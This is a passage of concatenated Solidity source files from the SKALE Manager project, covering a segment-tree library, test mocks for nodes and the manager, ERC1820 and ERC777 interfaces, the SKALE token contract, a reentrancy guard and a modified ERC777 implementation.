2"); segmentTree.tree = new uint[](size.mul(2).sub(1)); } /** * @dev Adds `delta` to element of segment tree at `place` * * Requirements: * * - `place` must be in range [1, size] */ function addToPlace(Tree storage self, uint place, uint delta) external { require(_correctPlace(self, place), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; self.tree[0] = self.tree[0].add(delta); while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta); } } /** * @dev Subtracts `delta` from element of segment tree at `place` * * Requirements: * * - `place` must be in range [1, size] * - initial value of target element must be not less than `delta` */ function removeFromPlace(Tree storage self, uint place, uint delta) external { require(_correctPlace(self, place), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; self.tree[0] = self.tree[0].sub(delta); while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].sub(delta); } } /** * @dev Adds `delta` to element of segment tree at `toPlace` * and subtracts `delta` from element at `fromPlace` * * Requirements: * * - `fromPlace` must be in range [1, size] * - `toPlace` must be in range [1, size] * - initial value of element at `fromPlace` must be not less than `delta` */ function moveFromPlaceToPlace( Tree storage self, uint fromPlace, uint toPlace, uint delta ) external { require(_correctPlace(self, fromPlace) && _correctPlace(self, toPlace), "Incorrect place"); uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; uint middle = leftBound.add(rightBound).div(2); uint fromPlaceMove = fromPlace > toPlace ? toPlace : fromPlace; uint toPlaceMove = fromPlace > toPlace ? fromPlace : toPlace; while (toPlaceMove <= middle || middle < fromPlaceMove) { if (middle < fromPlaceMove) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } middle = leftBound.add(rightBound).div(2); } uint leftBoundMove = leftBound; uint rightBoundMove = rightBound; uint stepMove = step; while(leftBoundMove < rightBoundMove && leftBound < rightBound) { uint middleMove = leftBoundMove.add(rightBoundMove).div(2); if (fromPlace > middleMove) { leftBoundMove = middleMove.add(1); stepMove = stepMove.add(stepMove).add(1); } else { rightBoundMove = middleMove; stepMove = stepMove.add(stepMove); } self.tree[stepMove.sub(1)] = self.tree[stepMove.sub(1)].sub(delta); middle = leftBound.add(rightBound).div(2); if (toPlace > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); } self.tree[step.sub(1)] = self.tree[step.sub(1)].add(delta); } } /** * @dev Returns random position in range [`place`, size] * with probability proportional to value stored at this position. * If all element in range are 0 returns 0 * * Requirements: * * - `place` must be in range [1, size] */ function getRandomNonZeroElementFromPlaceToLast( Tree storage self, uint place, Random.RandomGenerator memory randomGenerator ) external view returns (uint) { require(_correctPlace(self, place), "Incorrect place"); uint vertex = 1; uint leftBound = 0; uint rightBound = getSize(self); uint currentFrom = place.sub(1); uint currentSum = sumFromPlaceToLast(self, place); if (currentSum == 0) { return 0; } while(leftBound.add(1) < rightBound) { if (_middle(leftBound, rightBound) <= currentFrom) { vertex = _right(vertex); leftBound = _middle(leftBound, rightBound); } else { uint rightSum = self.tree[_right(vertex).sub(1)]; uint leftSum = currentSum.sub(rightSum); if (Random.random(randomGenerator, currentSum) < leftSum) { // go left vertex = _left(vertex); rightBound = _middle(leftBound, rightBound); currentSum = leftSum; } else { // go right vertex = _right(vertex); leftBound = _middle(leftBound, rightBound); currentFrom = leftBound; currentSum = rightSum; } } } return leftBound.add(1); } /** * @dev Returns sum of elements in range [`place`, size] * * Requirements: * * - `place` must be in range [1, size] */ function sumFromPlaceToLast(Tree storage self, uint place) public view returns (uint sum) { require(_correctPlace(self, place), "Incorrect place"); if (place == 1) { return self.tree[0]; } uint leftBound = 1; uint rightBound = getSize(self); uint step = 1; while(leftBound < rightBound) { uint middle = leftBound.add(rightBound).div(2); if (place > middle) { leftBound = middle.add(1); step = step.add(step).add(1); } else { rightBound = middle; step = step.add(step); sum = sum.add(self.tree[step]); } } sum = sum.add(self.tree[step.sub(1)]); } /** * @dev Returns amount of elements in segment tree */ function getSize(Tree storage segmentTree) internal view returns (uint) { if (segmentTree.tree.length > 0) { return segmentTree.tree.length.div(2).add(1); } else { return 0; } } /** * @dev Checks if `place` is valid position in segment tree */ function _correctPlace(Tree storage self, uint place) private view returns (bool) { return place >= 1 && place <= getSize(self); } /** * @dev Calculates index of left child of the vertex */ function _left(uint vertex) private pure returns (uint) { return vertex.mul(2); } /** * @dev Calculates index of right child of the vertex */ function _right(uint vertex) private pure returns (uint) { return vertex.mul(2).add(1); } /** * @dev Calculates arithmetical mean of 2 numbers */ function _middle(uint left, uint right) private pure returns (uint) { return left.add(right).div(2); } } // SPDX-License-Identifier: AGPL-3.0-only /* ILocker.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface of the Locker functions. */ interface ILocker { /** * @dev Returns and updates the total amount of locked tokens of a given * `holder`. */ function getAndUpdateLockedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the total non-transferrable and un-delegatable * amount of a given `holder`. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external returns (uint); } // SPDX-License-Identifier: AGPL-3.0-only /* NodesMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../BountyV2.sol"; import "../Permissions.sol"; contract NodesMock is Permissions { uint public nodesCount = 0; uint public nodesLeft = 0; // nodeId => timestamp mapping (uint => uint) public lastRewardDate; // nodeId => left mapping (uint => bool) public nodeLeft; // nodeId => validatorId mapping (uint => uint) public owner; function registerNodes(uint amount, uint validatorId) external { for (uint nodeId = nodesCount; nodeId < nodesCount + amount; ++nodeId) { lastRewardDate[nodeId] = now; owner[nodeId] = validatorId; } nodesCount += amount; } function removeNode(uint nodeId) external { ++nodesLeft; nodeLeft[nodeId] = true; } function changeNodeLastRewardDate(uint nodeId) external { lastRewardDate[nodeId] = now; } function getNodeLastRewardDate(uint nodeIndex) external view returns (uint) { require(nodeIndex < nodesCount, "Node does not exist"); return lastRewardDate[nodeIndex]; } function isNodeLeft(uint nodeId) external view returns (bool) { return nodeLeft[nodeId]; } function getNumberOnlineNodes() external view returns (uint) { return nodesCount.sub(nodesLeft); } function checkPossibilityToMaintainNode(uint /* validatorId */, uint /* nodeIndex */) external pure returns (bool) { return true; } function getValidatorId(uint nodeId) external view returns (uint) { return owner[nodeId]; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleManagerMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../interfaces/IMintableToken.sol"; import "../Permissions.sol"; contract SkaleManagerMock is Permissions, IERC777Recipient { IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE"); constructor (address contractManagerAddress) public { Permissions.initialize(contractManagerAddress); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } function payBounty(uint validatorId, uint amount) external { IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken")); require(IMintableToken(address(skaleToken)).mint(address(this), amount, "", ""), "Token was not minted"); require( IMintableToken(address(skaleToken)) .mint(contractManager.getContract("Distributor"), amount, abi.encode(validatorId), ""), "Token was not minted" ); } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleToken") // solhint-disable-next-line no-empty-blocks { } } pragma solidity ^0.6.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } pragma solidity ^0.6.0; /** * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP. * * Accounts can be notified of {IERC777} tokens being sent to them by having a * contract implement this interface (contract holders can be their own * implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Recipient { /** * @dev Called by an {IERC777} token contract whenever tokens are being * moved or created into a registered account (`to`). The type of operation * is conveyed by `from` being the zero address or not. * * This call occurs _after_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the post-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } // SPDX-License-Identifier: AGPL-3.0-only /* IMintableToken.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; interface IMintableToken { function mint( address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleToken.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./thirdparty/openzeppelin/ERC777.sol"; import "./Permissions.sol"; import "./interfaces/delegation/IDelegatableToken.sol"; import "./interfaces/IMintableToken.sol"; import "./delegation/Punisher.sol"; import "./delegation/TokenState.sol"; /** * @title SkaleToken * @dev Contract defines the SKALE token and is based on ERC777 token * implementation. */ contract SkaleToken is ERC777, Permissions, ReentrancyGuard, IDelegatableToken, IMintableToken { using SafeMath for uint; string public constant NAME = "SKALE"; string public constant SYMBOL = "SKL"; uint public constant DECIMALS = 18; uint public constant CAP = 7 * 1e9 * (10 ** DECIMALS); // the maximum amount of tokens that can ever be created constructor(address contractsAddress, address[] memory defOps) public ERC777("SKALE", "SKL", defOps) { Permissions.initialize(contractsAddress); } /** * @dev Allows Owner or SkaleManager to mint an amount of tokens and * transfer minted tokens to a specified address. * * Returns whether the operation is successful. * * Requirements: * * - Mint must not exceed the total supply. */ function mint( address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleManager") //onlyAuthorized returns (bool) { require(amount <= CAP.sub(totalSupply()), "Amount is too big"); _mint( account, amount, userData, operatorData ); return true; } /** * @dev See {IDelegatableToken-getAndUpdateDelegatedAmount}. */ function getAndUpdateDelegatedAmount(address wallet) external override returns (uint) { return DelegationController(contractManager.getContract("DelegationController")) .getAndUpdateDelegatedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateSlashedAmount}. */ function getAndUpdateSlashedAmount(address wallet) external override returns (uint) { return Punisher(contractManager.getContract("Punisher")).getAndUpdateLockedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) public override returns (uint) { return TokenState(contractManager.getContract("TokenState")).getAndUpdateLockedAmount(wallet); } // internal function _beforeTokenTransfer( address, // operator address from, address, // to uint256 tokenId) internal override { uint locked = getAndUpdateLockedAmount(from); if (locked > 0) { require(balanceOf(from) >= locked.add(tokenId), "Token should be unlocked for transferring"); } } function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) internal override nonReentrant { super._callTokensToSend(operator, from, to, amount, userData, operatorData); } function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal override nonReentrant { super._callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } // we have to override _msgData() and _msgSender() functions because of collision in Context and ContextUpgradeSafe function _msgData() internal view override(Context, ContextUpgradeSafe) returns (bytes memory) { return Context._msgData(); } function _msgSender() internal view override(Context, ContextUpgradeSafe) returns (address payable) { return Context._msgSender(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.6.0; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/math/SafeMath.sol"; Removed by SKALE // import "@openzeppelin/contracts/utils/Address.sol"; Removed by SKALE import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; /* Added by SKALE */ import "../../Permissions.sol"; /* End of added by SKALE */ /** * @dev Implementation of the {IERC777} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * Support for ERC20 is included in this contract, as specified by the EIP: both * the ERC777 and ERC20 interfaces can be safely used when interacting with it. * Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token * movements. * * Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there * are no special restrictions in the amount of tokens that created, moved, or * destroyed. This makes integration with ERC20 applications seamless. */ contract ERC777 is Context, IERC777, IERC20 { using SafeMath for uint256; using Address for address; IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); mapping(address => uint256) private _balances; uint256 private _totalSupply; string private _name; string private _symbol; // We inline the result of the following hashes because Solidity doesn't resolve them at compile time. // See https://github.com/ethereum/solidity/issues/4024. // keccak256("ERC777TokensSender") bytes32 constant private _TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895; // keccak256("ERC777TokensRecipient") bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; // This isn't ever read from - it's only used to respond to the defaultOperators query. address[] private _defaultOperatorsArray; // Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators). mapping(address => bool) private _defaultOperators; // For each account, a mapping of its operators and revoked default operators. mapping(address => mapping(address => bool)) private _operators; mapping(address => mapping(address => bool)) private _revokedDefaultOperators; // ERC20-allowances mapping (address => mapping (address => uint256)) private _allowances; /** * @dev `defaultOperators` may be an empty array. */ constructor( string memory name, string memory symbol, address[] memory defaultOperators ) public { _name = name; _symbol = symbol; _defaultOperatorsArray = defaultOperators; for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) { _defaultOperators[_defaultOperatorsArray[i]] = true; } // register interfaces _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this)); _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this)); } /** * @dev See {IERC777-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC777-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {ERC20-decimals}. * * Always returns 18, as per the * [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility). */ function decimals() public pure returns (uint8) { return 18; } /** * @dev See {IERC777-granularity}. * * This implementation always returns `1`. */ function granularity() public view override returns (uint256) { return 1; } /** * @dev See {IERC777-totalSupply}. */ function totalSupply() public view override(IERC20, IERC777) returns (uint256) { return _totalSupply; } /** * @dev Returns the amount of tokens owned by an account (`tokenHolder`). */ function balanceOf(address tokenHolder) public view override(IERC20, IERC777) returns (uint256) { return _balances[tokenHolder]; } /** * @dev See {IERC777-send}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function send(address recipient, uint256 amount, bytes memory data) public override { _send(_msgSender(), recipient, amount, data, "", true); } /** * @dev See {IERC20-transfer}. * * Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient} * interface if it is a contract. * * Also emits a {Sent} event. */ function transfer(address recipient, uint256 amount) public override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); address from = _msgSender(); _callTokensToSend(from, from, recipient, amount, "", ""); _move(from, from, recipient, amount, "", ""); _callTokensReceived(from, from, recipient, amount, "", "", false); return true; } /** * @dev See {IERC777-burn}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function burn(uint256 amount, bytes memory data) public override { _burn(_msgSender(), amount, data, ""); } /** * @dev See {IERC777-isOperatorFor}. */ function isOperatorFor( address operator, address tokenHolder ) public view override returns (bool) { return operator == tokenHolder || (_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) || _operators[tokenHolder][operator]; } /** * @dev See {IERC777-authorizeOperator}. */ function authorizeOperator(address operator) public override { require(_msgSender() != operator, "ERC777: authorizing self as operator"); if (_defaultOperators[operator]) { delete _revokedDefaultOperators[_msgSender()][operator]; } else { _operators[_msgSender()][operator] = true; } emit AuthorizedOperator(operator, _msgSender()); } /** * @dev See {IERC777-revokeOperator}. */ function revokeOperator(address operator) public override { require(operator != _msgSender(), "ERC777: revoking self as operator"); if (_defaultOperators[operator]) { _revokedDefaultOperators[_msgSender()][operator] = true; } else { delete _operators[_msgSender()][operator]; } emit RevokedOperator(operator, _msgSender()); } /** * @dev See {IERC777-defaultOperators}. */ function defaultOperators() public view override returns (address[] memory) { return _defaultOperatorsArray; } /** * @dev See {IERC777-operatorSend}. * * Emits {Sent} and {IERC20-Transfer} events. */ function operatorSend( address sender, address recipient, uint256 amount, bytes memory data, bytes memory operatorData ) public override { require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder"); _send(sender, recipient, amount, data, operatorData, true); } /** * @dev See {IERC777-operatorBurn}. * * Emits {Burned} and {IERC20-Transfer} events. */ function operatorBurn(address account, uint256 amount, bytes memory data, bytes memory operatorData) public override { require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder"); _burn(account, amount, data, operatorData); } /** * @dev See {IERC20-allowance}. * * Note that operator and allowance concepts are orthogonal: operators may * not have allowance, and accounts with allowance may not be operators * themselves. */ function allowance(address holder, address spender) public view override returns (uint256) { return _allowances[holder][spender]; } /** * @dev See {IERC20-approve}. * * Note that accounts cannot have allowance issued by their operators. */ function approve(address spender, uint256 value) public override returns (bool) { address holder = _msgSender(); _approve(holder, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Note that operator and allowance concepts are orthogonal: operators cannot * call `transferFrom` (unless they have allowance), and accounts with * allowance cannot call `operatorSend` (unless they are operators). * * Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events. */ function transferFrom(address holder, address recipient, uint256 amount) public override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); require(holder != address(0), "ERC777: transfer from the zero address"); address spender = _msgSender(); _callTokensToSend(spender, holder, recipient, amount, "", ""); _move(spender, holder, recipient, amount, "", ""); _approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance")); _callTokensReceived(spender, holder, recipient, amount, "", "", false); return true; } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * If a send hook is registered for `account`, the corresponding function * will be called with `operator`, `data` and `operatorData`. * * See {IERC777Sender} and {IERC777Recipient}. * * Emits {Minted} and {IERC20-Transfer} events. * * Requirements * * - `account` cannot be the zero address. * - if `account` is a contract, it must implement the {IERC777Recipient} * interface. */ function _mint( address account, uint256 amount, bytes memory userData, bytes memory operatorData ) internal virtual { require(account != address(0), "ERC777: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, amount); // Update state variables _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _callTokensReceived(operator, address(0), account, amount, userData, operatorData, true); emit Minted(operator, account, amount, userData, operatorData); emit Transfer(address(0), account, amount); } /** * @dev Send tokens * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _send( address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal { require(from != address(0), "ERC777: send from the zero address"); require(to != address(0), "ERC777: send to the zero address"); address operator = _msgSender(); _callTokensToSend(operator, from, to, amount, userData, operatorData); _move(operator, from, to, amount, userData, operatorData); _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } /** * @dev Burn tokens * @param from address token holder address * @param amount uint256 amount of tokens to burn * @param data bytes extra information provided by the token holder * @param operatorData bytes extra information provided by the operator (if any) */ function _burn( address from, uint256 amount, bytes memory data, bytes memory operatorData ) internal virtual { require(from != address(0), "ERC777: burn from the zero address"); address operator = _msgSender(); /* Chaged by SKALE: we swapped these lines to prevent delegation of burning tokens */ _callTokensToSend(operator, from, address(0), amount, data, operatorData); _beforeTokenTransfer(operator, from, address(0), amount); /* End of changed by SKALE */ // Update state variables _balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Burned(operator, from, amount, data, operatorData); emit Transfer(from, address(0), amount); } function _move( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) private { _beforeTokenTransfer(operator, from, to, amount); _balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance"); _balances[to] = _balances[to].add(amount); emit Sent(operator, from, to, amount, userData, operatorData); emit Transfer(from, to, amount); } /** * @dev See {ERC20-_approve}. * * Note that accounts cannot have allowance issued by their operators. */ function _approve(address holder, address spender, uint256 value) internal { require(holder != address(0), "ERC777: approve from the zero address"); require(spender != address(0), "ERC777: approve to the zero address"); _allowances[holder][spender] = value; emit Approval(holder, spender, value); } /** * @dev Call from.tokensToSend() if the interface is registered * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) */ function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) /* Chaged by SKALE from private */ internal /* End of changed by SKALE */ /* Added by SKALE */ virtual /* End of added by SKALE */ { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH); if (implementer != address(0)) { IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData); } } /** * @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but * tokensReceived() was not registered for the recipient * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) /* Chaged by SKALE from private */ internal /* End of changed by SKALE */ /* Added by SKALE */ virtual /* End of added by SKALE */ { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH); if (implementer != address(0)) { IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData); } else if 